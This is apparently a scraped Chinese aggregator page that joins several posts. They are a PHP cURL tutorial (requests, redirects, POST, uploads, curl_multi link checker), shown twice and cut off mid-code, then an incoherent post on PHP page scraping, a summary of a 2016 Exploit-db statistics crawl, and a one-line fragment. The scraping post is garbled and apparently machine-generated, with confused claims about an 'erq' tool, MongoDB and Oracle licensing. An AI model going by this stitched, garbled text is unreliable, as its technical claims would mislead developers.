{$browser[\'language\']}"));//頁(yè)面內容我們并不需要curl_setopt($ch, CURLOPT_NOBODY, 1);// 只需返回HTTP headercurl_setopt($ch, CURLOPT_HEADER, 1);//返回結果,而不是輸出它c(diǎn)url_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch); curl_close($ch);//有重定向的HTTP頭信息嗎?if(preg_match("!Location: (.*)!", $output,$matches)) { echo"$test_name: redirects to $matches[1]\n<br />"; } else{echo"$test_name: no redirection\n<br />"; } } echo"\n\n<br /><br />";}
首先,我們創(chuàng )建一組需要測試的網(wǎng)址,然后指定一組需要測試的瀏覽器信息。最后,通過(guò)循環(huán)測試各種 URL 和瀏覽器匹配的可能情況。
因為我們指定了 CURLOPT_NOBODY 選項,所以返回的輸出內容只收錄 HTTP 頭信息(存儲在 $output 中)。使用一個(gè)簡(jiǎn)單的規則,我們檢查這個(gè)頭信息是否收錄單詞 Location:。
運行此代碼應返回以下結果:
RL: http://www.bbc.comstandard: no redirection iphone: no redirection french: no redirection URL: http://www.baidu.comstandard: redirects to https://www.baidu.com/iphone: no redirection french: redirects to https://www.baidu.com/URL: http://www.ubuntu.comstandard: redirects to http://www.ubuntu.com/index_kyliniphone: redirects to http://www.ubuntu.com/index_kylinfrench: redirects to http://www.ubuntu.com/index_kylin
7 使用POST方法發(fā)送數據
在發(fā)起 GET 請求時(shí),數據可以通過(guò)“查詢(xún)字符串”傳遞給一個(gè) URL。例如,在Bing中搜索時(shí)(鑒于Google需要FQ,使用Bing代替),搜索關(guān)鍵字是URL的查詢(xún)字符串的一部分
http://www.bing.com?q=awaimai.com
您可以使用 PHP 腳本模擬這種 URL 請求。首先新建一個(gè)可以接受并顯示POST數據的文件,我們命名為post_output.php,腳本內容為:
print_r($_POST);
接下來(lái),編寫(xiě)一個(gè) PHP 腳本來(lái)執行 cURL 請求:
$url ="http://localhost/post_output.php";$post_data=array("foo"=>"bar","query"=>"Nettuts","action"=>"Submit");$ch=curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//我們在POST數據哦!curl_setopt($ch, CURLOPT_POST, 1);//加上POST變量curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);$output = curl_exec($ch);curl_close($ch);echo$output;
執行代碼后,應該得到如下結果:
Array( [foo] => bar [query] => Nettuts [action] =>Submit)
此腳本向 post_output.php 發(fā)送 POST 請求,并在此頁(yè)面上返回 $_POST 變量。我們使用 cURL 捕獲了這個(gè)輸出。
8 文件上傳
上傳文件與之前的 POST 非常相似。因為所有的文件上傳表單都是通過(guò)POST方式提交的。首先新建一個(gè)頁(yè)面來(lái)接收文件,命名為upload_output.php,頁(yè)面內容:
print_r($_FILES);
以下是實(shí)際執行文件上傳任務(wù)的腳本,名為upload.php,內容如下:
$url ="http://localhost/upload_output.php";$post_data=array("foo"=>"bar", //要上傳的本地文件地址"upload"=>"@C:/wamp/www/test.zip");$ch=curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);$output = curl_exec($ch);curl_close($ch);echo$output;
如果需要上傳文件,只需要指定上傳的文件路徑并作為POST變量傳遞即可,但記得在前面加上@符號。執行此腳本應獲得類(lèi)似于以下內容的輸出:
Array( [upload] =>Array ( [name] => test.zip [type] => application/octet-stream [tmp_name] => C:\Windows\php1BB4.tmp [error] => 0[size]=> 487235))
9 cURL 批處理(多cURL)
cURL 還有一個(gè)高級功能:批處理句柄。此功能允許您同時(shí)或異步打開(kāi)多個(gè) URL 連接。以下是示例代碼:
//創(chuàng )建兩個(gè)cURL資源$ch1=curl_init();$ch2=curl_init();//指定URL和適當的參數curl_setopt($ch1, CURLOPT_URL,"http://lxr.php.net/");curl_setopt($ch1, CURLOPT_HEADER, 0);curl_setopt($ch2, CURLOPT_URL,"http://www.php.net/");curl_setopt($ch2, CURLOPT_HEADER, 0);//創(chuàng )建cURL批處理句柄$mh=curl_multi_init();//加上前面兩個(gè)資源句柄curl_multi_add_handle($mh,$ch1);curl_multi_add_handle($mh,$ch2);//預定義一個(gè)狀態(tài)變量$active=null;//執行批處理do{$mrc = curl_multi_exec($mh,$active);}while($mrc==CURLM_CALL_MULTI_PERFORM);while($active&&$mrc== CURLM_OK) { if(curl_multi_select($mh) != -1) { do{$mrc = curl_multi_exec($mh,$active); } while($mrc== CURLM_CALL_MULTI_PERFORM); }}//關(guān)閉各個(gè)句柄curl_multi_remove_handle($mh,$ch1);curl_multi_remove_handle($mh,$ch2);curl_multi_close($mh);
在這里您需要做的就是打開(kāi)多個(gè) cURL 句柄并將它們分配給一個(gè)批處理句柄。然后你只需要等待它在 while 循環(huán)中完成執行。
在這個(gè)例子中有兩個(gè)主要循環(huán)。第一個(gè) do-while 循環(huán)反復調用 curl_multi_exec()。該函數是非阻塞的,但會(huì )盡可能少地執行。它返回一個(gè)狀態(tài)值。只要這個(gè)值等于常量CURLM_CALL_MULTI_PERFORM,就意味著(zhù)還有一些緊急的工作要做(例如,發(fā)送對應URL的http頭信息)。換句話(huà)說(shuō),我們需要不斷調用函數,直到返回值發(fā)生變化。
以下 while 循環(huán)僅在 $active 變量為真時(shí)才會(huì )繼續。該變量之前作為第二個(gè)參數傳遞給 curl_multi_exec(),表示批處理句柄中是否存在活動(dòng)連接。接下來(lái),我們調用 curl_multi_select(),它在活動(dòng)連接(例如接受服務(wù)器響應)出現之前被“阻塞”。該函數執行成功后,我們將進(jìn)入另一個(gè)do-while循環(huán),繼續下一個(gè)URL。
下面我們來(lái)看看如何在實(shí)踐中使用這個(gè)功能:
9.1 個(gè) WordPress 鏈接檢查器
想象一下,您有大量的 文章 博客,而這些 文章 收錄大量外部 網(wǎng)站 鏈接。一段時(shí)間后,由于某種原因,其中相當多的鏈接失敗了。要么統一,要么整個(gè)網(wǎng)站都是功夫網(wǎng)……
下面我們來(lái)創(chuàng )建一個(gè)腳本來(lái)分析所有這些鏈接,找出無(wú)法打開(kāi)或404的網(wǎng)站/webpages,并生成報告。
請注意,以下并不是真正可用的WordPress插件,只是一個(gè)具有獨立功能的腳本,僅供演示,謝謝。
好的,讓我們開(kāi)始吧。首先,從數據庫中讀取所有這些鏈接:
// 配置 MySQL 數據庫$db_host = \'localhost\';$db_user = \'root\';$db_pass = \'\';$db_name = \'wordpress\';$excluded_domains=array(\'localhost\', \'www.mydomain.com\');$max_connections = 10;//初始化一些變量$url_list=array();$working_urls=array();$dead_urls=array();$not_found_urls=array();$active=null;// 連到 MySQLif(!mysql_connect($db_host,$db_user,$db_pass)) { die(\'Could not connect: \' . mysql_error());}if(!mysql_select_db($db_name)) { die(\'Could not select db: \' . mysql_error());}//找出所有含有鏈接的文章$sql ="SELECT post_content FROM wp_posts WHERE post_content LIKE \'%href=%\' AND post_status = \'publish\' AND post_type = \'post\'";$res=mysql_query($sql) or die(mysql_error());while($d=mysql_fetch_assoc($res)) { //用正則匹配鏈接if(preg_match_all("!href=\"(.*?)\"!",$d[\'post_content\'],$matches)) { foreach($matches[1]as$url) { //剔除排除的域名$tmp=parse_url($url);if(in_array($tmp[\'host\'],$excluded_domains)) { continue; } // 保存 URL$url_list[]=$url; } }}//移除重復鏈接$url_list=array_values(array_unique($url_list));if(!$url_list) { die(\'No URL to check\');}
我們首先配置數據庫,一系列要排除的域名($excluded_domains),以及最大同時(shí)連接數($max_connections)。然后,連接數據庫,獲取文章和收錄的鏈接,采集到一個(gè)數組中($url_list)。
下面的代碼有點(diǎn)復雜,我分小步詳細解釋一下:
<p>// 1. 批處理器$mh=curl_multi_init();// 2. 加入需批量處理的URLfor($i = 0; $i 查看全部
php抓取網(wǎng)頁(yè)指定內容(在PHP中如何運用cURLcURL檢查錯誤的語(yǔ)句(上))
CURL 是一種使用 URL 語(yǔ)法規則來(lái)傳輸文件和數據的工具。它支持多種協(xié)議和選項,如HTTP、FTP、TELNET等,可以提供與URL請求相關(guān)的各種詳細信息。最好的部分是 PHP 還支持 cURL 庫。
本文將介紹cURL的一些高級特性以及如何在PHP中使用。
1 為什么使用卷曲?
是的,我們可以通過(guò)其他方式獲取網(wǎng)頁(yè)內容。很多時(shí)候,因為想偷懶,直接使用了簡(jiǎn)單的PHP file_get_contents() 函數:
$content=file_get_contents("http://www.awaimai.com");$lines=file("http://www.awaimai.com");readfile(http://www.awaimai.com);
然而,這種方法缺乏靈活性和有效的錯誤處理。而且,你不能用它來(lái)完成一些困難的任務(wù),比如處理:coockies、驗證、表單提交、文件上傳等等。
2 啟用卷曲
首先,我們首先要確定PHP是否啟用了這個(gè)庫。您可以使用 phpinfo() 函數獲取此信息。如果在網(wǎng)頁(yè)上看到如下輸出,則說(shuō)明cURL庫已開(kāi)啟。
如果 curl 沒(méi)有開(kāi)啟,那么你需要開(kāi)啟這個(gè)庫。如果是windows平臺下就很簡(jiǎn)單了,需要修改php.ini文件的設置,找到php_curl.dll,把前面的分號去掉。如下:
#取消下面的注釋extension=php_curl.dll
如果是Linux服務(wù)器,則需要重新編譯PHP,編譯時(shí)在configure命令中添加--with-curl參數。
3 基本結構
在學(xué)習更復雜的函數之前,我們先來(lái)看看在 PHP 中創(chuàng )建 cURL 請求的基本步驟:
初始化設置選項執行并獲取結果釋放cURL句柄
實(shí)現代碼如下:
// 1. 初始化$ch=curl_init();// 2. 設置選項curl_setopt($ch, CURLOPT_URL,"http://www.awaimai.com"); //設置要抓取的頁(yè)面地址curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //抓取結果直接返回(如果為0,則直接輸出內容到頁(yè)面)curl_setopt($ch, CURLOPT_HEADER, 0); // 不需要頁(yè)面的HTTP頭// 3. 執行并獲取HTML文檔內容,可用echo輸出內容$output = curl_exec($ch);// 4. 釋放curl句柄curl_close($ch)
第二步(也就是curl_setopt())是最重要的,所有的奧秘都在這里。有一長(cháng)串要設置的 cURL 參數,可以指定 URL 請求的詳細信息??赡芎茈y一口氣讀完和理解,所以今天我們只嘗試更常用和更有用的選項。
4 檢查錯誤
您可以在 cur_exec() 之后添加一個(gè)語(yǔ)句來(lái)檢查錯誤(盡管這不是必需的):
$output = curl_exec($ch);if($output===FALSE) { echo"cURL Error:". curl_error($ch);}
請注意,我們在比較時(shí)使用 === FALSE 而不是 == FALSE。因為我們必須區分空輸出和布爾值 FALSE,后者才是真正的錯誤。
5 獲取信息
使用 curl_getinfo() 獲取 curl 執行后請求的相關(guān)信息。當然,這也是一個(gè)可選設置:
curl_exec($ch);$info = curl_getinfo($ch);echo\'獲取\'.$info[\'url\'] . \'耗時(shí)\'. $info[\'total_time\'] . \'秒\';
返回的數組收錄以下信息:
6 基于瀏覽器的重定向
在第一個(gè)示例中,我們將提供一段代碼來(lái)檢測服務(wù)器是否具有基于瀏覽器的重定向。例如,某些網(wǎng)站 會(huì )根據是否是移動(dòng)瀏覽器甚至用戶(hù)來(lái)自哪個(gè)國家/地區來(lái)重定向網(wǎng)頁(yè)。
我們使用 CURLOPT_HTTPHEADER 選項來(lái)設置發(fā)出的 HTTP 標頭,包括用戶(hù)代理信息和默認語(yǔ)言。然后看看這些特定的 網(wǎng)站 是否會(huì )將我們重定向到不同的 URL。
//測試用的URL$urls=array("http://www.bbc.com","http://www.baidu.com","http://www.ubuntu.com");//測試用的瀏覽器信息$browsers=array("standard"=> array("user_agent"=>"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729)","language"=>"en-us,en;q=0.5"),"iphone"=> array("user_agent"=>"Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A537a Safari/419.3","language"=>"en"),"french"=> array("user_agent"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 2.0.50727)","language"=>"fr,fr-FR;q=0.5"));foreach($urlsas$url) { echo"URL:$url\n<br />";foreach($browsersas$test_name=>$browser) { $ch=curl_init();// 設置 urlcurl_setopt($ch, CURLOPT_URL, $url);//設置瀏覽器的特定headercurl_setopt($ch, CURLOPT_HTTPHEADER, array("User-Agent: {$browser[\'user_agent\']}","Accept-Language: {$browser[\'language\']}"));//頁(yè)面內容我們并不需要curl_setopt($ch, CURLOPT_NOBODY, 1);// 只需返回HTTP headercurl_setopt($ch, CURLOPT_HEADER, 1);//返回結果,而不是輸出它c(diǎn)url_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch); curl_close($ch);//有重定向的HTTP頭信息嗎?if(preg_match("!Location: (.*)!", $output,$matches)) { echo"$test_name: redirects to $matches[1]\n<br />"; } else{echo"$test_name: no redirection\n<br />"; } } echo"\n\n<br /><br />";}
首先,我們創(chuàng )建一組需要測試的網(wǎng)址,然后指定一組需要測試的瀏覽器信息。最后,通過(guò)循環(huán)測試各種 URL 和瀏覽器匹配的可能情況。
因為我們指定了 CURLOPT_NOBODY 選項,所以返回的輸出內容只收錄 HTTP 頭信息(存儲在 $output 中)。使用一個(gè)簡(jiǎn)單的規則,我們檢查這個(gè)頭信息是否收錄單詞 Location:。
運行此代碼應返回以下結果:
RL: http://www.bbc.comstandard: no redirection iphone: no redirection french: no redirection URL: http://www.baidu.comstandard: redirects to https://www.baidu.com/iphone: no redirection french: redirects to https://www.baidu.com/URL: http://www.ubuntu.comstandard: redirects to http://www.ubuntu.com/index_kyliniphone: redirects to http://www.ubuntu.com/index_kylinfrench: redirects to http://www.ubuntu.com/index_kylin
7 使用POST方法發(fā)送數據
在發(fā)起 GET 請求時(shí),數據可以通過(guò)“查詢(xún)字符串”傳遞給一個(gè) URL。例如,在Bing中搜索時(shí)(鑒于Google需要FQ,使用Bing代替),搜索關(guān)鍵字是URL的查詢(xún)字符串的一部分
http://www.bing.com?q=awaimai.com
您可以使用 PHP 腳本模擬這種 URL 請求。首先新建一個(gè)可以接受并顯示POST數據的文件,我們命名為post_output.php,腳本內容為:
print_r($_POST);
接下來(lái),編寫(xiě)一個(gè) PHP 腳本來(lái)執行 cURL 請求:
$url ="http://localhost/post_output.php";$post_data=array("foo"=>"bar","query"=>"Nettuts","action"=>"Submit");$ch=curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//我們在POST數據哦!curl_setopt($ch, CURLOPT_POST, 1);//加上POST變量curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);$output = curl_exec($ch);curl_close($ch);echo$output;
執行代碼后,應該得到如下結果:
Array( [foo] => bar [query] => Nettuts [action] =>Submit)
此腳本向 post_output.php 發(fā)送 POST 請求,并在此頁(yè)面上返回 $_POST 變量。我們使用 cURL 捕獲了這個(gè)輸出。
8 文件上傳
上傳文件與之前的 POST 非常相似。因為所有的文件上傳表單都是通過(guò)POST方式提交的。首先新建一個(gè)頁(yè)面來(lái)接收文件,命名為upload_output.php,頁(yè)面內容:
print_r($_FILES);
以下是實(shí)際執行文件上傳任務(wù)的腳本,名為upload.php,內容如下:
$url ="http://localhost/upload_output.php";$post_data=array("foo"=>"bar", //要上傳的本地文件地址"upload"=>"@C:/wamp/www/test.zip");$ch=curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);$output = curl_exec($ch);curl_close($ch);echo$output;
如果需要上傳文件,只需要指定上傳的文件路徑并作為POST變量傳遞即可,但記得在前面加上@符號。執行此腳本應獲得類(lèi)似于以下內容的輸出:
Array( [upload] =>Array ( [name] => test.zip [type] => application/octet-stream [tmp_name] => C:\Windows\php1BB4.tmp [error] => 0[size]=> 487235))
9 cURL 批處理(多cURL)
cURL 還有一個(gè)高級功能:批處理句柄。此功能允許您同時(shí)或異步打開(kāi)多個(gè) URL 連接。以下是示例代碼:
//創(chuàng )建兩個(gè)cURL資源$ch1=curl_init();$ch2=curl_init();//指定URL和適當的參數curl_setopt($ch1, CURLOPT_URL,"http://lxr.php.net/");curl_setopt($ch1, CURLOPT_HEADER, 0);curl_setopt($ch2, CURLOPT_URL,"http://www.php.net/");curl_setopt($ch2, CURLOPT_HEADER, 0);//創(chuàng )建cURL批處理句柄$mh=curl_multi_init();//加上前面兩個(gè)資源句柄curl_multi_add_handle($mh,$ch1);curl_multi_add_handle($mh,$ch2);//預定義一個(gè)狀態(tài)變量$active=null;//執行批處理do{$mrc = curl_multi_exec($mh,$active);}while($mrc==CURLM_CALL_MULTI_PERFORM);while($active&&$mrc== CURLM_OK) { if(curl_multi_select($mh) != -1) { do{$mrc = curl_multi_exec($mh,$active); } while($mrc== CURLM_CALL_MULTI_PERFORM); }}//關(guān)閉各個(gè)句柄curl_multi_remove_handle($mh,$ch1);curl_multi_remove_handle($mh,$ch2);curl_multi_close($mh);
在這里您需要做的就是打開(kāi)多個(gè) cURL 句柄并將它們分配給一個(gè)批處理句柄。然后你只需要等待它在 while 循環(huán)中完成執行。
在這個(gè)例子中有兩個(gè)主要循環(huán)。第一個(gè) do-while 循環(huán)反復調用 curl_multi_exec()。該函數是非阻塞的,但會(huì )盡可能少地執行。它返回一個(gè)狀態(tài)值。只要這個(gè)值等于常量CURLM_CALL_MULTI_PERFORM,就意味著(zhù)還有一些緊急的工作要做(例如,發(fā)送對應URL的http頭信息)。換句話(huà)說(shuō),我們需要不斷調用函數,直到返回值發(fā)生變化。
以下 while 循環(huán)僅在 $active 變量為真時(shí)才會(huì )繼續。該變量之前作為第二個(gè)參數傳遞給 curl_multi_exec(),表示批處理句柄中是否存在活動(dòng)連接。接下來(lái),我們調用 curl_multi_select(),它在活動(dòng)連接(例如接受服務(wù)器響應)出現之前被“阻塞”。該函數執行成功后,我們將進(jìn)入另一個(gè)do-while循環(huán),繼續下一個(gè)URL。
下面我們來(lái)看看如何在實(shí)踐中使用這個(gè)功能:
9.1 個(gè) WordPress 鏈接檢查器
想象一下,您有大量的 文章 博客,而這些 文章 收錄大量外部 網(wǎng)站 鏈接。一段時(shí)間后,由于某種原因,其中相當多的鏈接失敗了。要么統一,要么整個(gè)網(wǎng)站都是功夫網(wǎng)……
下面我們來(lái)創(chuàng )建一個(gè)腳本來(lái)分析所有這些鏈接,找出無(wú)法打開(kāi)或404的網(wǎng)站/webpages,并生成報告。
請注意,以下并不是真正可用的WordPress插件,只是一個(gè)具有獨立功能的腳本,僅供演示,謝謝。
好的,讓我們開(kāi)始吧。首先,從數據庫中讀取所有這些鏈接:
// 配置 MySQL 數據庫$db_host = \'localhost\';$db_user = \'root\';$db_pass = \'\';$db_name = \'wordpress\';$excluded_domains=array(\'localhost\', \'www.mydomain.com\');$max_connections = 10;//初始化一些變量$url_list=array();$working_urls=array();$dead_urls=array();$not_found_urls=array();$active=null;// 連到 MySQLif(!mysql_connect($db_host,$db_user,$db_pass)) { die(\'Could not connect: \' . mysql_error());}if(!mysql_select_db($db_name)) { die(\'Could not select db: \' . mysql_error());}//找出所有含有鏈接的文章$sql ="SELECT post_content FROM wp_posts WHERE post_content LIKE \'%href=%\' AND post_status = \'publish\' AND post_type = \'post\'";$res=mysql_query($sql) or die(mysql_error());while($d=mysql_fetch_assoc($res)) { //用正則匹配鏈接if(preg_match_all("!href=\"(.*?)\"!",$d[\'post_content\'],$matches)) { foreach($matches[1]as$url) { //剔除排除的域名$tmp=parse_url($url);if(in_array($tmp[\'host\'],$excluded_domains)) { continue; } // 保存 URL$url_list[]=$url; } }}//移除重復鏈接$url_list=array_values(array_unique($url_list));if(!$url_list) { die(\'No URL to check\');}
我們首先配置數據庫,一系列要排除的域名($excluded_domains),以及最大同時(shí)連接數($max_connections)。然后,連接數據庫,獲取文章和收錄的鏈接,采集到一個(gè)數組中($url_list)。
下面的代碼有點(diǎn)復雜,我分小步詳細解釋一下:
<p>// 1. 批處理器$mh=curl_multi_init();// 2. 加入需批量處理的URLfor($i = 0; $i
php抓取網(wǎng)頁(yè)指定內容(php抓取網(wǎng)頁(yè)指定內容的文件是什么?php網(wǎng)頁(yè)內容)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 97 次瀏覽 ? 2021-12-01 07:09
php抓取網(wǎng)頁(yè)指定內容的文件,這是一個(gè)最簡(jiǎn)單的分析網(wǎng)頁(yè)的功能,但是往往不用指定網(wǎng)址,所以總有人問(wèn)我為什么?當然這可能是現在抓包技術(shù)不夠發(fā)達所造成的,我們今天來(lái)實(shí)現下php抓取網(wǎng)所有商品的網(wǎng)頁(yè)內容的功能。首先我們寫(xiě)下自己的測試程序:1.打開(kāi)瀏覽器,然后輸入我們在某信息競賽網(wǎng)站注冊成功的賬號和密碼,開(kāi)始搜索。
hao2211.php/,然后出現12個(gè)頁(yè)面。2.都是互聯(lián)網(wǎng)站點(diǎn)的網(wǎng)頁(yè)內容。3.那么我們就可以在瀏覽器上下載,比如百度輸入站點(diǎn)(鏈接),出現域名解析頁(yè)面。4.這是php對象解析頁(yè)面,可以看到php解析頁(yè)面,本質(zhì)上就是抓包工具,和get包工具不同,get解析網(wǎng)頁(yè)時(shí),獲取的是一個(gè)網(wǎng)站的ip地址,然后用這個(gè)ip地址所對應的網(wǎng)站的域名進(jìn)行解析,傳遞給解析工具解析,同時(shí)實(shí)現網(wǎng)站域名、ip地址和網(wǎng)站ip的綁定,這個(gè)頁(yè)面就可以理解為murls中的server頁(yè)。
所以就可以抓包,解析一個(gè)網(wǎng)站的網(wǎng)頁(yè)內容和ip地址關(guān)系圖如下:5.我們就要用到mongodb,其實(shí)我們有些用erq解析這個(gè)網(wǎng)站的,無(wú)非是花了點(diǎn)時(shí)間和錢(qián)而已,可以直接用erq實(shí)現。注意這里不使用erq原因是因為oracle客戶(hù)端一個(gè)賬號只能注冊4個(gè),一年700元,數據庫還是要用mongodb,免費。這里只寫(xiě)一下方法:雙擊php文件“”把的配置信息中的uri地址設置為指定域名解析以后,在瀏覽器重新訪(fǎng)問(wèn)這個(gè)網(wǎng)站的域名,就會(huì )打開(kāi)我們的php網(wǎng)頁(yè),就可以獲取到網(wǎng)頁(yè)內容了。
抓包就是將網(wǎng)站的源代碼,我們自己的數據庫的數據,放到自己服務(wù)器里面,然后使用工具解析出網(wǎng)頁(yè)內容。比如下面是正常的解析流程:抓包就是兩件事,一個(gè)是將我們網(wǎng)站的源代碼(也就是ip地址),我們自己的數據庫的數據,放到指定地址下;一個(gè)是數據庫查詢(xún)出網(wǎng)頁(yè)內容。erq一次可以處理多次,時(shí)效不同,抓包最多抓20個(gè)。
在php抓包這個(gè)頁(yè)面抓包后,可以給php程序設置下超時(shí)時(shí)間,這樣再去訪(fǎng)問(wèn)這個(gè)網(wǎng)頁(yè)時(shí),就不會(huì )出現提示,這里是30秒。我們用到的分析工具:apache服務(wù)器erq、mongoconfig、erq;其實(shí)get也可以,對了,我們用erq還有個(gè)主要原因是不用自己寫(xiě)代碼,因為是使用get的。windows服務(wù)器選擇使用apache服務(wù)器,mac服務(wù)器選擇使用erq。軟件下載:/website/localhost/。 查看全部
php抓取網(wǎng)頁(yè)指定內容(php抓取網(wǎng)頁(yè)指定內容的文件是什么?php網(wǎng)頁(yè)內容)
php抓取網(wǎng)頁(yè)指定內容的文件,這是一個(gè)最簡(jiǎn)單的分析網(wǎng)頁(yè)的功能,但是往往不用指定網(wǎng)址,所以總有人問(wèn)我為什么?當然這可能是現在抓包技術(shù)不夠發(fā)達所造成的,我們今天來(lái)實(shí)現下php抓取網(wǎng)所有商品的網(wǎng)頁(yè)內容的功能。首先我們寫(xiě)下自己的測試程序:1.打開(kāi)瀏覽器,然后輸入我們在某信息競賽網(wǎng)站注冊成功的賬號和密碼,開(kāi)始搜索。
hao2211.php/,然后出現12個(gè)頁(yè)面。2.都是互聯(lián)網(wǎng)站點(diǎn)的網(wǎng)頁(yè)內容。3.那么我們就可以在瀏覽器上下載,比如百度輸入站點(diǎn)(鏈接),出現域名解析頁(yè)面。4.這是php對象解析頁(yè)面,可以看到php解析頁(yè)面,本質(zhì)上就是抓包工具,和get包工具不同,get解析網(wǎng)頁(yè)時(shí),獲取的是一個(gè)網(wǎng)站的ip地址,然后用這個(gè)ip地址所對應的網(wǎng)站的域名進(jìn)行解析,傳遞給解析工具解析,同時(shí)實(shí)現網(wǎng)站域名、ip地址和網(wǎng)站ip的綁定,這個(gè)頁(yè)面就可以理解為murls中的server頁(yè)。
所以就可以抓包,解析一個(gè)網(wǎng)站的網(wǎng)頁(yè)內容和ip地址關(guān)系圖如下:5.我們就要用到mongodb,其實(shí)我們有些用erq解析這個(gè)網(wǎng)站的,無(wú)非是花了點(diǎn)時(shí)間和錢(qián)而已,可以直接用erq實(shí)現。注意這里不使用erq原因是因為oracle客戶(hù)端一個(gè)賬號只能注冊4個(gè),一年700元,數據庫還是要用mongodb,免費。這里只寫(xiě)一下方法:雙擊php文件“”把的配置信息中的uri地址設置為指定域名解析以后,在瀏覽器重新訪(fǎng)問(wèn)這個(gè)網(wǎng)站的域名,就會(huì )打開(kāi)我們的php網(wǎng)頁(yè),就可以獲取到網(wǎng)頁(yè)內容了。
抓包就是將網(wǎng)站的源代碼,我們自己的數據庫的數據,放到自己服務(wù)器里面,然后使用工具解析出網(wǎng)頁(yè)內容。比如下面是正常的解析流程:抓包就是兩件事,一個(gè)是將我們網(wǎng)站的源代碼(也就是ip地址),我們自己的數據庫的數據,放到指定地址下;一個(gè)是數據庫查詢(xún)出網(wǎng)頁(yè)內容。erq一次可以處理多次,時(shí)效不同,抓包最多抓20個(gè)。
在php抓包這個(gè)頁(yè)面抓包后,可以給php程序設置下超時(shí)時(shí)間,這樣再去訪(fǎng)問(wèn)這個(gè)網(wǎng)頁(yè)時(shí),就不會(huì )出現提示,這里是30秒。我們用到的分析工具:apache服務(wù)器erq、mongoconfig、erq;其實(shí)get也可以,對了,我們用erq還有個(gè)主要原因是不用自己寫(xiě)代碼,因為是使用get的。windows服務(wù)器選擇使用apache服務(wù)器,mac服務(wù)器選擇使用erq。軟件下載:/website/localhost/。
php抓取網(wǎng)頁(yè)指定內容(2016年度Web漏洞統計之Exploit-db2016年我們耳邊)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 68 次瀏覽 ? 2021-11-24 13:19
Exploit-db of 2016 Web Vulnerability Statistics
2016年,我們經(jīng)常會(huì )想到“大數據”、“物聯(lián)網(wǎng)”、“云”、“工控系統”等關(guān)鍵詞。很多廠(chǎng)商和行業(yè)都在如火如荼地做著(zhù)“大數據”。隨著(zhù)2016年的過(guò)去,新的一年的到來(lái),讓我們也對Web漏洞進(jìn)行一次“大數據”。所以,針對web漏洞的“大數據”分析思路如下:1.寫(xiě)一個(gè)python爬蟲(chóng),把2016年的web漏洞進(jìn)行數據爬?。壳爸髁鞯膚eb爬蟲(chóng)一直都是python,開(kāi)發(fā)效率高和簡(jiǎn)單的代碼編寫(xiě))2. 將python爬蟲(chóng)爬取的數據輸出到excl3. 使用excle 進(jìn)行二次數據排序,統計漏洞排名,開(kāi)發(fā)語(yǔ)言,漏洞數量4.圖表展示,使用辦公室任何工具省略中間過(guò)程,python爬蟲(chóng)的部分代碼會(huì )在最后發(fā)出。開(kāi)源 PHP 的問(wèn)題最多,ASPX 和 Python 的問(wèn)題最少。 0X003 每個(gè)月的漏洞數量分布? 2016 年 6 月和 10 月提交的漏洞數量最多。是因為黑客假期在家無(wú)聊嗎? 0X004 世界黑客漏洞提交排名Top10? 0X005以文章結尾結束,發(fā)布python爬蟲(chóng)源碼:#-*-coding:utf-8-*-#爬取ebay網(wǎng)站頁(yè)面,設置編號,保存源文件
526 查看全部
php抓取網(wǎng)頁(yè)指定內容(2016年度Web漏洞統計之Exploit-db2016年我們耳邊)
Exploit-db of 2016 Web Vulnerability Statistics
2016年,我們經(jīng)常會(huì )想到“大數據”、“物聯(lián)網(wǎng)”、“云”、“工控系統”等關(guān)鍵詞。很多廠(chǎng)商和行業(yè)都在如火如荼地做著(zhù)“大數據”。隨著(zhù)2016年的過(guò)去,新的一年的到來(lái),讓我們也對Web漏洞進(jìn)行一次“大數據”。所以,針對web漏洞的“大數據”分析思路如下:1.寫(xiě)一個(gè)python爬蟲(chóng),把2016年的web漏洞進(jìn)行數據爬?。壳爸髁鞯膚eb爬蟲(chóng)一直都是python,開(kāi)發(fā)效率高和簡(jiǎn)單的代碼編寫(xiě))2. 將python爬蟲(chóng)爬取的數據輸出到excl3. 使用excle 進(jìn)行二次數據排序,統計漏洞排名,開(kāi)發(fā)語(yǔ)言,漏洞數量4.圖表展示,使用辦公室任何工具省略中間過(guò)程,python爬蟲(chóng)的部分代碼會(huì )在最后發(fā)出。開(kāi)源 PHP 的問(wèn)題最多,ASPX 和 Python 的問(wèn)題最少。 0X003 每個(gè)月的漏洞數量分布? 2016 年 6 月和 10 月提交的漏洞數量最多。是因為黑客假期在家無(wú)聊嗎? 0X004 世界黑客漏洞提交排名Top10? 0X005以文章結尾結束,發(fā)布python爬蟲(chóng)源碼:#-*-coding:utf-8-*-#爬取ebay網(wǎng)站頁(yè)面,設置編號,保存源文件
526
php抓取網(wǎng)頁(yè)指定內容(這篇文章主要是對CURLOPT_CUSTOMREQUEST參數的運用(圖))
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 90 次瀏覽 ? 2021-11-23 00:19
本文文章主要介紹PHP curl實(shí)現302跳轉后的頁(yè)面的例子,主要是CURLOPT_CUSTOMREQUEST參數的使用,需要的朋友可以參考
